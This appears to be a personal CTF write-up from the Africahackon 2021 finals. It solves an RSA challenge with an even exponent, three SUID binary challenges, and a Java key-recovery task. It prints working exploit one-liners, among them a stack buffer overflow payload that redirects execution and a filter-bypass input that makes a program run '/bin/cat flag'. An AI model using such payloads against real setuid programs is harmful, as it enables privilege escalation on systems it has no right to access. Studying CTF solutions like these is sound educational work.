Intro

Yesterday (05/11/2021) I was taking part (as a guest) at the Africahackon finals along with some teammates of the Fr334aks team. Playing under the name Batata, we managed to get the first spot, solving most of the challenges, some of which had only one solve and as such I decided to make some writeups on the challs I solved.

Cryptoo

This challenge was interesting for it envolved RSA with an even public exponent, which is something I’m not very familiar with. We were given a Python script with the following code:

from Crypto.Util.number import getPrime, inverse, bytes_to_long

e = 1440

p = getPrime(1024)
q = getPrime(1024)
n = p * q

flag = b"ah{xxxxxxxxxxxxxxxxxxxx}"
c = pow(bytes_to_long(flag), e, n)

print(f"e = {e}")
print(f"p = {p}")
print(f"q = {q}")
print(f"c = {c}")

"""
e = 1440
p = 162978700629210295810649391719586503025671079350063173587722761832592228785617671514944077671114932617659575380579714162010543696149152442401177146829272429511066079301906198033364173529447978503921827642242019971331210477342321193894140447666224793264721574118325733656155304155684082750815667730540243960559
q = 130285572065962327569919536176694744820493645597821663155020747573340254381219937626501795225368224038829088518417583768608126274355275988299414360689255470016687369426125250899105732280369295580190147225308718970324176782395390204057596346288043949701881716388921305204781566634663039054898992062520177422101
c = 14204665238020554114475628327984073221787034724332448717363393031578409722000649641437079153251934422919452050163136017361707938959690120573061829917618824742827162513411812087878703014480053438572831162426517450181059504845411713094485467757528191039101896977879751831110230798672128651365474200057717303162203591331166448004522319859362013143568986153939533288130683189735936454601862218690741979122415557852701109174160860839151042293108263280431615986660884292407738203044490728282085387662687502499545671258808565310082341540716184255392455439646134568896807531027143059203312472722000907457839879721121544714480

"""

Hippity hoppity, your code is now my property

After struggling a little bit with this challenge, I did the sensible thing and searched online for similar challenges and a found a writeup that presented an interesting solution using Roots of Unity modulus n to solve a similar problem.

So I based myself on the presented algorithm (stole the code) to write the following solution:

from Crypto.Util.number import *
from math import gcd

e = 1440
p = 162978700629210295810649391719586503025671079350063173587722761832592228785617671514944077671114932617659575380579714162010543696149152442401177146829272429511066079301906198033364173529447978503921827642242019971331210477342321193894140447666224793264721574118325733656155304155684082750815667730540243960559
q = 130285572065962327569919536176694744820493645597821663155020747573340254381219937626501795225368224038829088518417583768608126274355275988299414360689255470016687369426125250899105732280369295580190147225308718970324176782395390204057596346288043949701881716388921305204781566634663039054898992062520177422101
ct = 14204665238020554114475628327984073221787034724332448717363393031578409722000649641437079153251934422919452050163136017361707938959690120573061829917618824742827162513411812087878703014480053438572831162426517450181059504845411713094485467757528191039101896977879751831110230798672128651365474200057717303162203591331166448004522319859362013143568986153939533288130683189735936454601862218690741979122415557852701109174160860839151042293108263280431615986660884292407738203044490728282085387662687502499545671258808565310082341540716184255392455439646134568896807531027143059203312472722000907457839879721121544714480
n = p * q

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m


def roots_of_unity(e, phi, n, rounds=250):
    phi_coprime = phi
    while gcd(phi_coprime, e) != 1:
        phi_coprime //= gcd(phi_coprime, e)

    roots = set(pow(i, phi_coprime, n) for i in range(1, rounds))
    return roots, phi_coprime

phi = (p - 1) * (q - 1)

roots, phi_coprime = roots_of_unity(e, phi, n)

d = modinv(e, phi_coprime)
pt = pow(ct, d, n)

pts = [(pt * root) % n for root in roots]
pts = [long_to_bytes(pt) for pt in pts]

for possibleFlag in pts:
    if b'ah{' in possibleFlag:
        print(possibleFlag)
        exit()

iamfree

For this challenge we were given a LSB executable and access to a ssh server. On the server we had the flag, which was owned by root and the same executable file which had the SUID bit set, so it became clear that the goal was to exploit this program to read the flag.

I started by opening the file on Ghidra to see what I was dealing with. The program’s main was decompiled to the following code:

undefined4 main(void)

{
  int *__s;
  void *local_1c;
  
  setuid(0);
  __s = (int *)malloc(0x10);
  puts("Let play a game of chess");
  do {
    while( true ) {
      while( true ) {
        while( true ) {
          printf("Make your move : ");
          fgets((char *)__s,0x11,stdin);
          if (((*__s != 0x46524545) || (__s[1] != 0x71756565)) || (__s[2] != 0x6e333e3a)) break;
          free(local_1c);
          puts("Nice move. I can\'t catchup");
        }
        if (((*__s != 0x4e455721) || (__s[1] != 0x4b494e47)) || ((char)(__s[2] << 2) != -4)) break;
        local_1c = malloc(0x10);
        *(int *)((int)local_1c + 0xc) = __s[3];
        puts("King placed in order");
      }
      if (((*__s == 0x75733334) && (__s[1] == 0x66743352)) && (__s[2] == 0x66523333)) break;
      puts("Wrong move");
    }
    puts("Brilliant. One last Move");
  } while ((*(uint *)((int)local_1c + 0xc) & 0xff) != 0x37);
  system("/bin/cat flag");
  return 0;
}

As you can see, this code is not very clear, but can still figure what it is doing. It works like a game of chess in which we are supposed to enter our move and the program will process it to some extend, and eventually execute a command to read the flag under some specific conditions.

There are four loops that we need to break out of to reach the point where the flag is read. We can see that at each iteration, our input is processed as integer values and compared with some hard-coded constants.

To break out of the inner-most loop, our input must not have 0x46524545 as the first four bytes, or 0x71756565 as the second four bytes, or 0x6e333e3a as the last four bytes. What means we need to avoid the string “FREEqueen3>:”, that because of the byte order (little-endian) is actually written as “EERFeeuq:>3n”.

Next, to break out of the second loop, we need our input to differ from the values 0x4e455721, 0x4b494e47, and some other value that whose last byte multiplied by 4 is equal to -4. That would be a string like “!WENGNIK?XXX” (already considering the little-endian). To break out of the next loop, our input must match the values 0x75733334, 0x66743352 and 0x66523333, which forms the string “fR33ft3Rus34” or “43suR3tf33Rf” in little-endian.

Finally, to break out of the last loop, the value of the last byte stored at the address local_1c + 0xc (as local_1c is a pointer, this would be like indexing an array to access the 12th position) must be equal to 0x37 (char 55, which is the number ‘7’). Looking through the code we can see that this value is set as the last part of our input on the second loop if we don’t break out of it immediately.

So, first we need to break out of the first (inner-most) loop by providing any input different of “EERFeeuq:>3n”, reaching the second loop where we should stay for one iteration in order to set the value at local_1c + 0xc to 55. Next, we break out of this second loop and also from the third loop by providing the string “43suR3tf33Rf” as input.

Putting it all together, our input should be something like “!WENGNIK?XXX7XXX43suR3tf33Rf”. So, my final “exploit” consisted of this one-liner:

echo '!WENGNIK?XXX7XXX43suR3tf33Rf' | ./iamfree

NameCheck

For this challenge we were given another ELF executable and access to a server through SSH. To read the flag, we need to exploit two different vulnerabilities on the given program. The program reads a name from stdin and stores it in a 400 bytes buffer which is then validated in the parseName() function which verifies if the input name has less than 21 bytes and then copies it to another buffer.

The first vulnerabilty we need to exploit is a buffer overflow which occurs when the input names are validated and copied to a smaller buffer, however because of the length limit we need to chain this vulnerability with a second vulnerability to successfully exploit it.

Looking through the decompiled binary at Ghidra, we can see that when the length of the input is verified, it is stored into a char (an 8-bit signed value) which can only hold numbers in the interval -128 to 127. So, if we place an input that is big enough, the value will be processed as a negative value, making it less than the maximum size allowed.

To do so, we start with a buffer of 255 bytes which we know can bypass the validation as it is interpreted as having a length of -128, causing the buffer to be overflowed. Now we need to find where to find some address to divert the execution flow to and also the precise location of our buffer to place this address.

Again, looking through the disassebled code, we can see that there is a function called systemCheck that is never called, but when executed will run /bin/cat flag using the system() method, making it the perfect gadget for this exploit.

To find the target address I used the nm utility from binutils with the syntax nm namecheck, and the output tells me that the systemCheck function is at 0804859f. Becase the architecture is little-endian we will need to write it as 9f850408.

Next we need to find the position of our buffer that will overflow the return address. To do this I used a custom script to generate a cyclic pattern with 255 bytes to cause a crash and then find the position in the pattern where the eip address starts (which I found to be at index 36 in this case). Now we know how to bypass the validation, where to redirect the execution flow and also the position to place the address. My final exploit consisted of this one-liner:

perl -e 'print "A"x36 . "\x9f\x85\x04\x08" x 8 . "A"x200' | ./namecheck

When we run it, we get the flag (multiple times, actually) and the program crashes because the stack is now a mess, but the exploit was a success.

Parser

Once again we have an ELF executable and SSH access to a server. This time the program is a parser that will read commands from the user, process them and then execute if they meet some criteria. As always, we will use Ghidra to decompile to executable and look through it’s source. Below we have the main function:

undefined4 FUN_0804861a(void)

{
  char *__s;
  char *__s1;
  char *pcVar1;
  int iVar2;

  __s = (char *)malloc(100);
  __s1 = (char *)malloc(100);
  setuid(0);
  puts("We wrote a small tool to handle your commands :)");
  printf("command to execute: ");
  fgets(__s,0x65,stdin);
  pcVar1 = strstr(__s,"bin");
  if (((pcVar1 == (char *)0x0) && (pcVar1 = strstr(__s,"cat"), pcVar1 == (char *)0x0)) &&
     (pcVar1 = strstr(__s,"flag"), pcVar1 == (char *)0x0)) {
    puts("Almost there");
    iVar2 = FUN_080485bb(__s,__s1);
    if (iVar2 != 0) {
      iVar2 = strncmp(__s1,"/bin/cat flag",0xd);
      if (iVar2 == 0) {
        system(__s1);
      }
      else {
        puts("Command not allowed.\n Please try again. Bye:)\n");
      }
    }
  }
  else {
    puts("Input not allowed. Please try again. Bye:)\n");
  }
  return 0;
}

As confusing as this code might seem, it is actually pretty straight-forward. It reads a command from the user and makes sure that the works “bin”, “cat” and “flag” are not present in it. Then, it calls the function FUN_080485bb (seem below) to process this input, and compares the resulting string to “/bin/cat flag”, executing it with a call to system() if they match.

void FUN_080485bb(char *param_1,int param_2)

{
  size_t sVar1;
  int local_18;
  uint local_14;

  sVar1 = strlen(param_1);
  local_18 = 0;
  for (local_14 = 0; (int)local_14 < (int)sVar1; local_14 = local_14 + 1) {
    if (((local_14 & 3) == 0) && (local_14 != 0)) {
      *(char *)(local_18 + param_2) = param_1[local_14];
      local_18 = local_18 + 1;
    }
  }
  return;
}

What FUN_080485bb does is copy some bytes from the input string param_1 to the string param_2, ensuring that only the bytes at postions that are multiples of 4 (not including 0) are copied (local_14 & 3 means is the same as local_14 % 4).

So, basically what we need to do is craft an input that contains the string “/bin/cat flag” concealed in such a way that when we get the characters at positions 4, 8, 12 … and so on, we get this command back. To do so, we can use the following Perl code:

print "xxxx", join "xxx", split //, "/bin/cat flag"

And so, our final exploit is:

perl -e 'print "xxxx", join "xxx", split //, "/bin/cat flag"' | ./parser

Processing

This time we are given a zip file that contains a Java application comprised by multiple .jar files. To decompile them I used a Java decompiler to browse through the code of the file Challenge.jar located inside the lib directory. This file contains the main logic of the application and is responsible for generating the key that is also the flag we want to find.

Now, I’m not a Java developer, but I do have some experience with the C and C++ languages, both of which are somewhat similar to Java and that allowed me to understand enough of the code to find a way to retrieve the flag. Below, I will highlight some key components of the code that we will need:


ArrayList<String> bytes = new ArrayList<>();
  
  ArrayList<String> b_key = new ArrayList<>();
  
  String[] s_key;
  
  Boolean ACCESS = Boolean.valueOf(false);
  
  int[] gen_key = new int[] { 
      81, 83, 410, 91, 162, 3, 79, 66, 281, 311, 
      69, 42, 60, 981, 526, 447, 787, 42, 528, 410, 
      1227, 877, 336, 354, 83, 1746, 1828, 842, 2734, 1340, 
      1597, 908, 1451, 1563, 1137, 2226, 1206, 2486, 1909, 1566, 
      1908, 1200, 3604, 4318, 1546, 1793, 1581 };
  
  String a = "ACCESS GRANTED!!!";
  
  int tax;
  
  int tay;
  
  ArrayList<WrongPW> wrongPWs = new ArrayList<>();
  
  public void setup() {
    background(0);
    this.cp5 = new ControlP5(this);
    int w = PApplet.parseInt(this.width * 0.92F);
    int y = 50;
    PFont font = createFont("arial", 20.0F);
    ((Textfield)((Textfield)this.cp5.addTextfield("")
      .setPosition(20.0F, y))
      .setSize(w, 50)
      .setFont(font))
      .setFocus(true)
      .setColor(color(255, 0, 0));
    String url = "https://processing.org/img/processing-web.png";
    this.webImg = loadImage(url, "jpg");
    byte[] b = loadBytes(url);
    int i;
    for (i = 0; i < b.length; i++)
      this.bytes.add(hex(b[i])); 
    for (i = 0; i < this.gen_key.length; i++)
      this.b_key.add(this.bytes.get(this.gen_key[i] - 2)); 
    this.s_key = this.b_key.<String>toArray(new String[0]);
    this.tax = this.width / 2;
    this.tay = this.height / 2;
  }

/* ... */

  public boolean checkPW(String pw) {
    char[] a = pw.toCharArray();
    if (a.length == this.s_key.length) {
      for (int i = 0; i < a.length; i++) {
        char test = PApplet.parseChar(unhex(this.s_key[i]));
        if (a[i] != test)
          return false;
      }
      return true;
    }
    return false;
  }

In a nutshell, what this code does is download an image which is stored in-memory as an array of bytes. Then, for each value i in the gen_key array, it will get the byte at the position i-2 of the image array to form the flag. I wrote the following Perl script to automate the process of recovering this flag:

use strict;
use warnings;
use HTTP::Tiny;

my @genkey = (
      81, 83, 410, 91, 162, 3, 79, 66, 281, 311,
      69, 42, 60, 981, 526, 447, 787, 42, 528, 410,
      1227, 877, 336, 354, 83, 1746, 1828, 842, 2734, 1340,
      1597, 908, 1451, 1563, 1137, 2226, 1206, 2486, 1909, 1566,
      1908, 1200, 3604, 4318, 1546, 1793, 1581 );

my $http = HTTP::Tiny->new;
$http->mirror("https://processing.org/img/processing-web.png", "processing-web.png");

my @bytes;
open(my $fh, "<processing-web.png");
binmode($fh);
while (read($fh, $bytes[@bytes], 1)) {}
close($fh);

my @bkey;

for (my $i = 0; $i < @genkey; $i ++) {
    push @bkey, $bytes[$genkey[$i] - 2];
}

print join '', @bkey, "\n";

And that’s all, folks.